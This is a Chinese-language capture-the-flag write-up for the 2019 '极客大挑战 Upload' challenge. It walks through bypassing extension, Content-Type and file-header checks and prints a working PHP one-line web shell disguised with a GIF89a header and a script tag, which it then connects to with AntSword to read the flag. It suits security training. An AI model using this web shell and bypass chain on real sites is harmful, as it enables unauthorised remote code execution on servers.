一、[极客大挑战 2019]Upload
1.题目
2.解题步骤
目测可以上传图片,先随便上传一个图片试试
既然可以上传文件,试试挂马
并不管用。
看WP
原来是之前图片有问题,实际上是可以上传成功的
从这里可以分析出,靶机的文件上传没有问题,有问题的是文件,也就是说会对上传的进行过滤,也就是说为什么刚刚的大马没有挂上。
但是刚刚为什么图片也不能上传呢,找了另外一个就可以上传?猜测是文件大小的问题,但实际测试下来并不是,有的可以有的会报错。
这里摘一个师傅的WP的一句话:一般检查的地方有:后缀名、content-type、文件头的部分内容。[1]
如何理解这句话呢?后缀名这个好理解,无非是php,jpg,png之类的。那什么是content-type呢?
Content-Type(内容类型),一般是指网页中存在的,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些 PHP 网页点击的结果却是下载一个文件或一张图片的原因。
这个之前在请求头里看见过,没太注意。那么在这个文件上传的题中,想要绕过Content-Type的检查,就需要在burp中修改请求。
最后一个文件头检查。这个也好理解,先检查你文件的文件头,比如JPG的是FFD8FF。
回到这道题。思路很清晰,我们要上传一个木马,比如说一句话,然后再用蚁剑链接。
首先是文件后缀绕过,我们可以把马的后缀改成php5,Php,phtml,pht等等。
其次是Content-Type,需要改成image/jpeg
等。
最后是文件头绕过,但是师傅们特别爱用GIF89a
这个来当GIF绕过,姑且试试吧~
测试发现不能使用php5后缀。多次测试后发现可以使用phtml。
检测到了php中的<?。
这里百度了以下<?的绕过方式,可以采用<script 代替。重新构造payload。
GIF89a<script language="pHp">@eval($_POST['shell']) </script>
上传成功,这回拿蚁剑连接
(注意文件在upload下面,不在根目录下面。都快做出来了还将我以下是没想到的)
访问根目录下的flag即可
3.总结
- 熟悉了文件上传的几个绕过点,学会了几种常见的绕过方式。
- 上传文件都习惯放在upload目录下,这个小坑记住了。